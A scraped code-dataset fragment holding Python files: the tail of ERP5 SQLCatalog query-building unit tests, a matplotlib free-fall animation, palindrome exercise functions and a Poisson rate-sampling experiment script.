%s' % timezone))\n , operator='and'), operator='and'),\n {column: '2008 %s' % timezone})\n self.catalog(ReferenceQuery(ReferenceQuery(\n ReferenceQuery(operator='>=', date=DateTime('2008/01/01 %s' % timezone)),\n ReferenceQuery(operator='<', date=DateTime('2008/02/01 %s' % timezone))\n , operator='and'), operator='and'),\n {column: '2008/01 %s' % timezone})\n self.catalog(ReferenceQuery(ReferenceQuery(\n ReferenceQuery(operator='>=', date=DateTime('2008/10/01 %s' % timezone)),\n ReferenceQuery(operator='<', date=DateTime('2008/10/02 %s' % timezone))\n , operator='and'), operator='and'),\n {column: {'type': 'date', 'query': '10/01/2008 %s' % timezone, 'format': '%m/%d/%Y'}})\n self.catalog(ReferenceQuery(ReferenceQuery(\n ReferenceQuery(operator='>=', date=DateTime('2008/10/01 %s' % timezone)),\n ReferenceQuery(operator='<', date=DateTime('2008/10/02 %s' % timezone))\n , operator='and'), operator='and'),\n {column: {'type': 'date', 'query': '01/10/2008 %s' % timezone, 'format': '%d/%m/%Y'}})\n self.catalog(ReferenceQuery(ReferenceQuery(\n ReferenceQuery(\n ReferenceQuery(operator='>=', date=DateTime('2008/01/10 ' + timezone)),\n ReferenceQuery(operator='<', date=DateTime('2008/01/11 ' + timezone)),\n operator='and'),\n ReferenceQuery(\n ReferenceQuery(operator='>=', date=DateTime('2008/01/09 ' + timezone)),\n ReferenceQuery(operator='<', date=DateTime('2008/01/10 ' + timezone)),\n operator='and'),\n operator='or'), operator='and'),\n {column: {'query': ['2008/01/10 %s' % timezone, '2008/01/09 %s' % timezone], 'operator': 'in'}},\n check_search_text=False)\n self.catalog(ReferenceQuery(ReferenceQuery(\n ReferenceQuery(\n ReferenceQuery(operator='>=', date=DateTime('2008/01/10 ' + timezone)),\n ReferenceQuery(operator='<', date=DateTime('2008/01/11 ' + timezone)),\n operator='and'),\n ReferenceQuery(\n ReferenceQuery(operator='>=', date=DateTime('2008/01/09 ' + timezone)),\n ReferenceQuery(operator='<', date=DateTime('2008/01/10 ' + timezone)),\n operator='and'),\n operator='or'), operator='and'),\n {column: ['2008/01/10 %s' % timezone, '2008/01/09 %s' % timezone]},\n check_search_text=False)\n self.catalog(ReferenceQuery(ReferenceQuery(operator='>=', date=DateTime('2008/01/11 %s' % timezone)), operator='and'),\n {column: {'query': '2008/01/10 %s' % timezone, 'range': 'nlt'}},\n check_search_text=False)\n self.catalog(ReferenceQuery(ReferenceQuery(\n ReferenceQuery(operator='>=', date=DateTime('2008/01/01 %s' % timezone)),\n ReferenceQuery(operator='<', date=DateTime('2009/01/01 %s' % timezone))\n , operator='and'), operator='and'),\n {column: '2008 %s' % timezone})\n self.catalog(ReferenceQuery(ReferenceQuery(\n ReferenceQuery(operator='>=', date=DateTime('2008/02/01 %s' % timezone)),\n ReferenceQuery(operator='<', date=DateTime('2008/03/01 %s' % timezone))\n , operator='and'), operator='and'),\n {column: '2008/02 %s' % timezone})\n self.catalog(ReferenceQuery(ReferenceQuery(\n ReferenceQuery(operator='>=', date=DateTime('2008/02/02 %s' % timezone)),\n ReferenceQuery(operator='<', date=DateTime('2008/02/03 %s' % timezone))\n , operator='and'), operator='and'),\n {column: '2008/02/02 %s' % timezone})\n self.catalog(ReferenceQuery(ReferenceQuery(\n ReferenceQuery(operator='>=', date=DateTime('2008/02/02 10:00:00 %s' % timezone)),\n ReferenceQuery(operator='<', date=DateTime('2008/02/02 11:00:00 %s' % timezone))\n , operator='and'), operator='and'),\n {column: '2008/02/02 10 %s' % timezone})\n self.catalog(ReferenceQuery(ReferenceQuery(\n ReferenceQuery(operator='>=', date=DateTime('2008/02/02 10:10:00 %s' % timezone)),\n ReferenceQuery(operator='<', date=DateTime('2008/02/02 10:11:00 %s' % timezone))\n , operator='and'), operator='and'),\n {column: '2008/02/02 10:10 %s' % timezone})\n self.catalog(ReferenceQuery(ReferenceQuery(\n ReferenceQuery(operator='>=', date=DateTime('2008/02/02 10:10:10 %s' % timezone)),\n ReferenceQuery(operator='<', date=DateTime('2008/02/02 10:10:11 %s' % timezone))\n , operator='and'), operator='and'),\n {column: '2008/02/02 10:10:10 %s' % timezone})\n self.catalog(ReferenceQuery(ReferenceQuery(operator='is', date=None), operator='and'),\n {column: None}, check_search_text=False)\n\n def test_DateTimeKey(self):\n # Try multiple timezones\n self._testDateTimeKey('date', 'UTC')\n self._testDateTimeKey('date', 'GMT+9')\n # XXX: It is unknown what these tests should produce when used with a\n # related key: should the join happen or not ?\n self.catalog(\n ReferenceQuery(ReferenceQuery([], operator='or'), operator='and'),\n {'date': ' '})\n self.catalog(\n ReferenceQuery(ReferenceQuery([], operator='or'), operator='and'),\n {'date': '<>2008/01/01'})\n self.catalog(\n ReferenceQuery(ReferenceQuery([], operator='or'), operator='and'),\n {'date': '<'})\n self.catalog(\n ReferenceQuery(ReferenceQuery([], operator='or'), operator='and'),\n {'date': '00:00:00'})\n\n def test_relatedDateTimeKey(self):\n # Try multiple timezones\n self._testDateTimeKey('related_date', 'UTC')\n self._testDateTimeKey('related_date', 'GMT+9')\n\n def _testKeywordKey(self, column):\n self.catalog(ReferenceQuery(ReferenceQuery(operator='like', keyword='%a%'), operator='and'),\n {column: 'a'})\n self.catalog(ReferenceQuery(ReferenceQuery(operator='like', keyword='%a b%'), operator='and'),\n {column: 'a b'})\n self.catalog(ReferenceQuery(ReferenceQuery(operator='like', keyword='%a b%'), operator='and'),\n {column: '\"a b\"'})\n self.catalog(ReferenceQuery(ReferenceQuery(operator='!=', keyword='a'), operator='and'),\n {column: '!=a'})\n self.catalog(ReferenceQuery(ReferenceQuery(operator='not like', keyword='%a'), operator='and'),\n {column: '!=%a'})\n self.catalog(ReferenceQuery(ReferenceQuery(operator='like', keyword='%a'), operator='and'),\n {column: '%a'})\n self.catalog(ReferenceQuery(ReferenceQuery(operator='<', keyword='a'), operator='and'),\n {column: 'a', 'key': 'RawKey'}},\n check_search_text=False)\n\n def test_009_testFullTextKey(self):\n self.catalog(ReferenceQuery(ReferenceQuery(operator='mroonga', fulltext='a'), operator='and'),\n {'fulltext': 'a'})\n\n def test_isAdvancedSearchText(self):\n self.assertFalse(self._catalog.isAdvancedSearchText('a')) # No operator, no explicit column\n self.assertTrue(self._catalog.isAdvancedSearchText('a AND b')) # \"AND\" is an operator\n self.assertTrue(self._catalog.isAdvancedSearchText('default:a')) # \"default\" exists as a column\n self.assertFalse(self._catalog.isAdvancedSearchText('b:a')) # \"b\" doesn't exist as a column\n\n def test_FullTextSearchMergesQueries(self):\n \"\"\"\n XXX this test is for old FullTextKey, not for MroongaFullTextKey\n that merges queries only when logical_operator is 'and'. Also\n _renderValueAsSearchText it not perfect so that we cannot use the\n test codes below for mroonga search key.\n\n FullText criterion on the same scope must be merged into one query.\n Logical operator is ignored, as fulltext operators are expected instead.\n \"\"\"\n self.catalog(ReferenceQuery(ReferenceQuery(operator='match', old_fulltext='a b'), operator='and'),\n {'old_fulltext': 'a AND b'})\n self.catalog(ReferenceQuery(ReferenceQuery(operator='match', old_fulltext='a b'), operator='and'),\n {'old_fulltext': 'a OR b'})\n self.catalog(ReferenceQuery(ReferenceQuery(ReferenceQuery(operator='match', old_fulltext='a b'), operator='not'), operator='and'),\n {'old_fulltext': 'NOT (a b)'})\n\n def test_NoneValueToSimpleQuery(self):\n \"\"\"\n When a SimpleQuery receives a python None value and an \"=\" comparison\n operator (be it the default or explictely provided), it must change that\n operator into an \"is\" operator.\n If \"is\" compariton operator is explicitely provided with a non-None\n value, raise.\n If non-\"=\" compariton operator is provided with a None value, raise.\n \"\"\"\n self.assertEqual(ReferenceQuery(operator='is', default=None),\n SimpleQuery(default=None))\n self.assertEqual(ReferenceQuery(operator='is', default=None),\n SimpleQuery(default=None, comparison_operator='='))\n self.assertEqual(ReferenceQuery(operator='is not', default=None),\n SimpleQuery(default=None, comparison_operator='!='))\n self.assertEqual(ReferenceQuery(operator='is not', default=None),\n SimpleQuery(default=None, comparison_operator='is not'))\n self.assertRaises(ValueError, SimpleQuery, default=None, comparison_operator='>=')\n self.assertRaises(ValueError, SimpleQuery, default=1, comparison_operator='is')\n\n def test_FullTextBooleanMode(self):\n \"\"\"\n XXX this test is for old FullTextKey, not for MroongaFullTextKey\n that does no automatic mode switch.\n\n Fulltext searches must switch automatically to boolean mode if boolean\n operators are found in search value.\n \"\"\"\n self.catalog(ReferenceQuery(ReferenceQuery(operator='match_boolean',\n old_fulltext=MatchList(['a*'])), operator='and'),\n {'old_fulltext': 'a*'})\n\n self.catalog(ReferenceQuery(ReferenceQuery(operator='match_boolean',\n old_fulltext=MatchList(['a* b'])), operator='and'),\n {'old_fulltext': 'a* b'})\n\n self.catalog(ReferenceQuery(ReferenceQuery(operator='match', old_fulltext='*a'),\n operator='and'),\n {'old_fulltext': '*a'})\n\n self.catalog(ReferenceQuery(ReferenceQuery(operator='match', old_fulltext='a'),\n operator='and'),\n {'old_fulltext': 'a'})\n\n self.catalog(ReferenceQuery(ReferenceQuery(operator='match', old_fulltext='a+b'), operator='and'),\n {'old_fulltext': 'a+b'})\n\n self.catalog(ReferenceQuery(ReferenceQuery(operator='match_boolean',\n old_fulltext=MatchList(['a +b', '+b a'])), operator='and'),\n {'old_fulltext': 'a +b'}, check_search_text=False)\n\n self.catalog(ReferenceQuery(ReferenceQuery(\n ReferenceQuery(operator='=', uid='foo'),\n ReferenceQuery(operator='match_boolean',\n old_fulltext=MatchList(['+a b', 'b +a'])),\n operator='and'), operator='and'), {'old_fulltext': '+a b uid:foo'})\n\n def test_FullTextQuoting(self):\n \"\"\"\n XXX this test is for old FullTextKey, not for MroongaFullTextKey\n that merges queries only when logical_operator is 'and'. Also\n _renderValueAsSearchText it not perfect so that we cannot use the\n test codes below for mroonga search key.\n \"\"\"\n # Quotes must be kept\n self.catalog(ReferenceQuery(ReferenceQuery(operator='match',\n old_fulltext='\"a\"'), operator='and'),\n {'old_fulltext': '\"a\"'})\n self.catalog(ReferenceQuery(ReferenceQuery(operator='match',\n old_fulltext='\"foo\" bar \"baz\"'), operator='and'),\n {'old_fulltext': '\"foo\" bar \"baz\"'})\n # ...But each column must follow rules defined in configured SearchKey for\n # that column (in this case: quotes must be stripped).\n ref_query = ReferenceQuery(ReferenceQuery(ReferenceQuery(operator='match',\n old_fulltext='\"foo\" bar'), ReferenceQuery(operator='=',\n default='hoge \\\"pon'), operator='and'), operator='and')\n self.catalog(ref_query, {\n 'keyword': 'default:\"hoge \\\\\"pon\" AND old_fulltext:(\"foo\" AND bar)'})\n self.catalog(ref_query, {\n 'old_fulltext': '\"foo\" bar AND default:\"hoge \\\\\"pon\"'})\n ref_query = ReferenceQuery(ReferenceQuery(ReferenceQuery(operator='match',\n old_fulltext='\"\\\\\"foo\\\\\" bar\"'), ReferenceQuery(operator='=',\n default='hoge \\\"pon'), operator='and'), operator='and')\n self.catalog(ref_query, {\n 'keyword': 'default:\"hoge \\\\\"pon\" AND old_fulltext:\"\\\\\"foo\\\\\" bar\"'})\n\n def test_DefaultKeyTextRendering(self):\n self.catalog(ReferenceQuery(ReferenceQuery(operator='like', default='a% b'), operator='and'),\n {'default': 'a% b'})\n self.catalog(ReferenceQuery(ReferenceQuery(operator='like', default='%a%'), operator='and'),\n {'default': '%a%'})\n self.catalog(ReferenceQuery(ReferenceQuery(ReferenceQuery(operator='like', default='a% b'),\n ReferenceQuery(operator='like', default='a%'), operator='or'), operator='and'),\n {'default': ['a% b', 'a%']})\n\n def test_SelectDict(self):\n # Simple case: no mapping hint, no ambiguity in table schema\n sql_expression = self.asSQLExpression({'select_dict': {'default': None}})\n select_dict = sql_expression.getSelectDict()\n self.assertTrue('default' in select_dict, select_dict)\n # Case with a valid hint\n sql_expression = self.asSQLExpression({'select_dict': {'default': 'foo'}})\n select_dict = sql_expression.getSelectDict()\n self.assertTrue('default' in select_dict, select_dict)\n # Case with an invalid hint: we trust user\n sql_expression = self.asSQLExpression({'select_dict': {'default': 'bar'}})\n select_dict = sql_expression.getSelectDict()\n self.assertTrue('default' in select_dict, select_dict)\n self.assertTrue('bar' in select_dict['default'], select_dict['default'])\n # Ambiguous case: mapping must raise if there is no hint\n self.assertRaises(ValueError, self.asSQLExpression, {'select_dict':\n {'ambiguous_mapping': None}})\n # Ambiguous case, but with a hint: must succeed\n sql_expression = self.asSQLExpression({'select_dict': {'ambiguous_mapping': 'bar'}})\n select_dict = sql_expression.getSelectDict()\n self.assertTrue('ambiguous_mapping' in select_dict, select_dict)\n self.assertTrue('bar' in select_dict['ambiguous_mapping'], select_dict['ambiguous_mapping'])\n # Ambiguous case, without a direct hint, but one of the tables is used in\n # the query: must succeed\n sql_expression = self.asSQLExpression({'select_dict': {'ambiguous_mapping': None},\n 'other_uid': None})\n select_dict = sql_expression.getSelectDict()\n self.assertTrue('ambiguous_mapping' in select_dict, select_dict)\n self.assertTrue('bar' in select_dict['ambiguous_mapping'], select_dict['ambiguous_mapping'])\n\n def test_hasColumn(self):\n self.assertTrue(self._catalog.hasColumn('uid'))\n self.assertFalse(self._catalog.hasColumn('foobar'))\n\n def test_fulltextOrderBy(self):\n # No order_by_list, resulting \"ORDER BY\" must be empty.\n sql_expression = self.asSQLExpression({'fulltext': 'foo'})\n self.assertEqual(sql_expression.getOrderByExpression(), '')\n # order_by_list on fulltext column, resulting \"ORDER BY\" must be non-empty.\n sql_expression = self.asSQLExpression({'fulltext': 'foo',\n 'order_by_list': [('fulltext', ), ]})\n order_by_expression = sql_expression.getOrderByExpression()\n self.assertNotEqual(order_by_expression, '')\n # ... and not sort by relevance\n self.assertEqual('`foo`.`fulltext`', order_by_expression)\n # order_by_list on fulltext column + '__score__, resulting \"ORDER BY\" must be non-empty.\n sql_expression = self.asSQLExpression({'fulltext': 'foo',\n 'order_by_list': [('fulltext__score__', ), ]})\n order_by_expression = sql_expression.getOrderByExpression()\n self.assertNotEqual(order_by_expression, '')\n # ... and must sort by relevance\n self.assertEqual('foo_fulltext__score__', order_by_expression)\n # ordering on fulltext column with sort order specified must preserve\n # sorting by relevance.\n for direction in ('ASC', 'DESC'):\n sql_expression = self.asSQLExpression({'fulltext': 'foo',\n 'order_by_list': [('fulltext__score__', direction), ]})\n order_by_expression = sql_expression.getOrderByExpression()\n self.assertEqual('foo_fulltext__score__ %s' % direction, order_by_expression)\n # Providing a None cast should work too\n for direction in ('ASC', 'DESC'):\n sql_expression = self.asSQLExpression({'fulltext': 'foo',\n 'order_by_list': [('fulltext__score__', direction, None), ]})\n order_by_expression = sql_expression.getOrderByExpression()\n self.assertEqual('foo_fulltext__score__ %s' % direction, order_by_expression)\n\n def test_logicalOperators(self):\n self.catalog(ReferenceQuery(ReferenceQuery(operator='=', default='AN ORB'),\n operator='and'),\n {'default': 'AN ORB'})\n self.catalog(ReferenceQuery(\n ReferenceQuery(operator='in', default=['AN', 'ORB']),\n operator='and'),\n {'default': 'AN OR ORB'})\n\n def _searchTextInDictQuery(self, column):\n self.catalog(ReferenceQuery(ReferenceQuery(\n ReferenceQuery(operator='>=', date=DateTime('2001/08/11')),\n ReferenceQuery(operator='<', date=DateTime('2008/10/01')),\n operator='and'), operator='and'),\n {\n column: {'query': '>2001/08/10 AND <2008/10/01', 'format': '%d/%m/%Y', 'type': 'date'},\n }\n )\n # Ambiguous date representation with format: dmY\n self.catalog(ReferenceQuery(ReferenceQuery(\n ReferenceQuery(operator='>=', date=DateTime('2001/08/11')),\n ReferenceQuery(operator='<', date=DateTime('2008/10/01')),\n operator='and'), operator='and'),\n {\n column: {'query': '>10/08/2001 AND <01/10/2008', 'format': '%d/%m/%Y', 'type': 'date'},\n }\n )\n # Ambiguous date representation with format: mdY, same input as above\n self.catalog(ReferenceQuery(ReferenceQuery(\n ReferenceQuery(operator='>=', date=DateTime('2001/10/09')),\n ReferenceQuery(operator='<', date=DateTime('2008/01/10')),\n operator='and'), operator='and'),\n {\n column: {'query': '>10/08/2001 AND <01/10/2008', 'format': '%m/%d/%Y', 'type': 'date'},\n }\n )\n\n def test_searchTextInDictQuery(self):\n self._searchTextInDictQuery('date')\n self._searchTextInDictQuery('related_date')\n\n def test_buildOrderByList(self):\n order_by_list = self._catalog.buildOrderByList(\n sort_on='default',\n )\n self.assertEqual(order_by_list, [['default']])\n order_by_list = self._catalog.buildOrderByList(\n sort_on='default',\n sort_order='DESC',\n )\n self.assertEqual(order_by_list, [['default', 'DESC']])\n order_by_list = self._catalog.buildOrderByList(\n sort_on=[['default', 'DESC', 'INT']]\n )\n self.assertEqual(order_by_list, [['default', 'DESC', 'INT']])\n\n def test_selectSyntaxConstraint(self):\n buildSQLQuery = self._catalog.buildSQLQuery\n # Verify SQLCatalog accepts \"count(*)\" in select_list, which results in\n # {'count(*)': None} . While not exactly a feature, there should be no\n # reason to break this.\n buildSQLQuery(select_list=['count(*)'])\n buildSQLQuery(select_dict={'count(*)': None})\n buildSQLQuery(select_dict={'count(*)': 'count(*)'})\n\n##return catalog(title=Query(title='a', operator='not'))\n#return catalog(title={'query': 'a', 'operator': 'not'})\n#return catalog(title={'query': ['a', 'b'], 'operator': 'not'})\n#return context.portal_catalog(source_title=\"toto\", source_description=\"tutu\", src__=1)\n#print catalog(query=ComplexQuery(Query(title='1'), ComplexQuery(Query(portal_type='Foo') ,Query(portal_type='Bar'), logical_operator='or'), logical_operator='and'))\n#print catalog(title={'query': ('path', 2), 'operator': 'and'}, exception=TypeError)\n#print catalog(sort_on=[('source_title', )], check_search_text=False)\n#print catalog(query=ComplexQuery(Query(source_title='foo'), Query(source_title='bar')), sort_on=[('source_title', ), ('source_title_1', )], check_search_text=False)\n\ndef test_suite():\n suite = unittest.TestSuite()\n suite.addTest(unittest.makeSuite(TestSQLCatalog))\n return suite\n\n","repo_name":"Nexedi/erp5","sub_path":"product/ZSQLCatalog/tests/testSQLCatalog.py","file_name":"testSQLCatalog.py","file_ext":"py","file_size_in_byte":41856,"program_lang":"python","lang":"en","doc_type":"code","stars":171,"dataset":"github-code","pt":"75"} +{"seq_id":"31819869375","text":"import functools\nimport threading\nimport time\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport cg_objects\n\n\nclass FreeFallPlotter(Axes3D):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.model = cg_objects.t_pose()\n self.start = cg_objects.Frame.unit \\\n .translate(cg_objects.Vector(0, 0, 200))\n self.frame = self.start\n self.time_0 = None\n self.time_1 = 0\n\n acceleration = cg_objects.Vector.k_hat * -9.80665\n velocity = cg_objects.Vector.zero\n position = self.start.origin - cg_objects.Point.origin\n self.position = functools.partial(\n self._physics_position, acceleration, velocity, position\n )\n\n @staticmethod\n def _physics_position(\n acceleration: cg_objects.Vector,\n velocity: cg_objects.Vector,\n position: cg_objects.Vector,\n time: float\n ) -> cg_objects.Vector:\n return acceleration * (time ** 2) / 2 + \\\n velocity * time + \\\n position\n\n def plot_vertices(self, vertices, **kwargs):\n xs, ys, zs, _ = np.array(vertices)\n super().scatter(xs, ys, zs, **kwargs)\n\n def plot_minimums(self, r):\n cube = cg_objects.cube(cg_objects.Vector(0, 0, 2 * r)) \\\n .translate(cg_objects.Vector(-r, -r, 0))\n self.plot_vertices(cube, c='w', marker='.')\n\n def redraw(self):\n position = self.position(self.time_1)\n self.frame = cg_objects.Frame.unit.translate(position)\n self.plot_vertices(self.frame @ self.model)\n self.plot_minimums(100)\n\n def update(self):\n if self.time_0 is None:\n self.time_0 = time.time()\n\n self.time_1 = time.time() - self.time_0\n self.cla()\n self.redraw()\n plt.draw()\n\n def loop(self, fps):\n while self.frame.origin.z >= 0:\n self.update()\n time.sleep(1 / fps)\n\n\ndef main():\n fig = plt.figure()\n ax = FreeFallPlotter(fig)\n threading.Thread(target=ax.loop, args=(6, ), daemon=True).start()\n plt.show()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"cheeseywhiz/graphics","sub_path":"Matrices/free_fall.py","file_name":"free_fall.py","file_ext":"py","file_size_in_byte":2172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"41088382814","text":"# what if we wanted to use recursion?\ndef palindrome_1(str):\n if len(str) <= 1:\n return True\n if str[0] != str[-1]:\n return False\n return palindrome_1(str[1:-1])\n\n# what if we didn't care about case?\ndef palindrome_2(str):\n lower = str.lower()\n for i in range(len(str) // 2):\n if lower[i] != lower[-i - 1]:\n return False\n return True\n\n# what if we wanted to ignore punctuation?\ndef palindrome_3(str):\n punctuation = [',', '!', '?', '.']\n no_punc_str = str[:]\n for punc in punctuation:\n no_punc_str = no_punc_str.replace(punc, '')\n for i in range(len(no_punc_str) // 2):\n if no_punc_str[i] != no_punc_str[-i - 1]:\n return False\n return True \n\n# what if we wanted to ignore space?\ndef palindrome_4(str):\n no_space_str = str.replace(' ', '')\n for i in range(len(no_space_str) // 2):\n if no_space_str[i] != no_space_str[-i - 1]:\n return False\n return True \n","repo_name":"lendoo73/Challenge-Project-of-CodeCademy","sub_path":"python/Technical Interviews/Lists/palindrome.py","file_name":"palindrome.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"75"} +{"seq_id":"12346152453","text":"import sys\nimport matplotlib.pyplot as plt\nimport argparse\nfrom sp_sims.simulators.stochasticprocesses import *\nfrom sp_sims.statistics.statistics import *\n\ndef argparser(parser: argparse.ArgumentParser):\n parser.add_argument('length',\n metavar='len',\n type=int,\n help='Length of episode in discrete realizations.')\n parser.add_argument('poi_rate',\n metavar='prate',\n type=float,\n help='Rate at which we sample real line.')\n parser.add_argument('sampling_rate',\n metavar='srate',\n type=float,\n help='Rate at which we sample real line.')\n parser.add_argument('no_samples',\n metavar='nsamples',\n type=int,\n help='Rate at which we sample real line.')\n parser.add_argument('init_state',\n metavar='init_state',\n type=int,\n help='Initial State in the real line.(Amnt of current events)')\n\n\ndef sampled_poisson(args,cur_srate):\n #Create an episod e\n # print('Generating episode')\n poisson_sp = PoissonPath(args.length, args.poi_rate)\n time_tape, state_tape = poisson_sp.generate_history()\n # We have our tapes. Time to iterate through them\n \n #Create our sampled states\n # print(\"Sampling...\")\n # srate = args.sampling_rate\n srate = cur_srate\n stimes = np.arange(0,srate*args.no_samples, srate)\n sampled_states = np.zeros_like(stimes)# Empty array for filling now\n for i in range(len(time_tape)-1):\n boolean_array = np.logical_and(stimes>= time_tape[i],stimes< time_tape[i+1] )\n indices = np.where(boolean_array)[0]\n sampled_states[indices] = i\n # We have states and times, we can take intervals of times as the ones we estiamte for poisson\n # Get the differences in states\n # print(\"Estimating...\")\n differences = sampled_states[1:] - sampled_states[0:-1]# These are the independent incremetents of poisson\n # Estimator\n lambda_dat = (np.sum(differences))/len(differences)\n\n return lambda_dat\n\n\n # emb_x_axis, emb_hist = eventd_stationary_state(emb_state_tape, emb_hold_tape)\n\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser(description='Compare MAP to delta')\n argparser(parser)\n\n args = parser.parse_args()\n\n # This does for now. Ill add argparse later if needed \n levels_of_n = []\n\n # Three levels of rates\n rates = [0.1, 1.0, 10] # TODO: add it as a cmdline param later\n \n final_samples = []\n length = 1000\n\n for rate in rates:# Each distribution\n\n sampled_rates = [] #Hopefully this is asymptotically normal\n print(\"Working with rate: \",rate)\n\n for i in range(length):# Create a stochastic sequence of 1k realizations\n if i % 10==0: \n print(\"Generating episode \",i)\n sampled_rates.append(sampled_poisson(args,rate))\n\n final_samples.append(sampled_rates)\n\n assert(len(final_samples) == len(rates))\n fig,axs = plt.subplots(1,3)\n for i,rate in enumerate(rates):\n axs[i].hist(final_samples[i],bins=int(length*0.1))\n axs[i].set_title('Samping rate {}'.format(rate))\n\n # plt.legend(True)\n plt.show()\n\n\n\n\n\n","repo_name":"ottersome/StochasticProcesses","sub_path":"past_experiments/mappois.py","file_name":"mappois.py","file_ext":"py","file_size_in_byte":3392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"}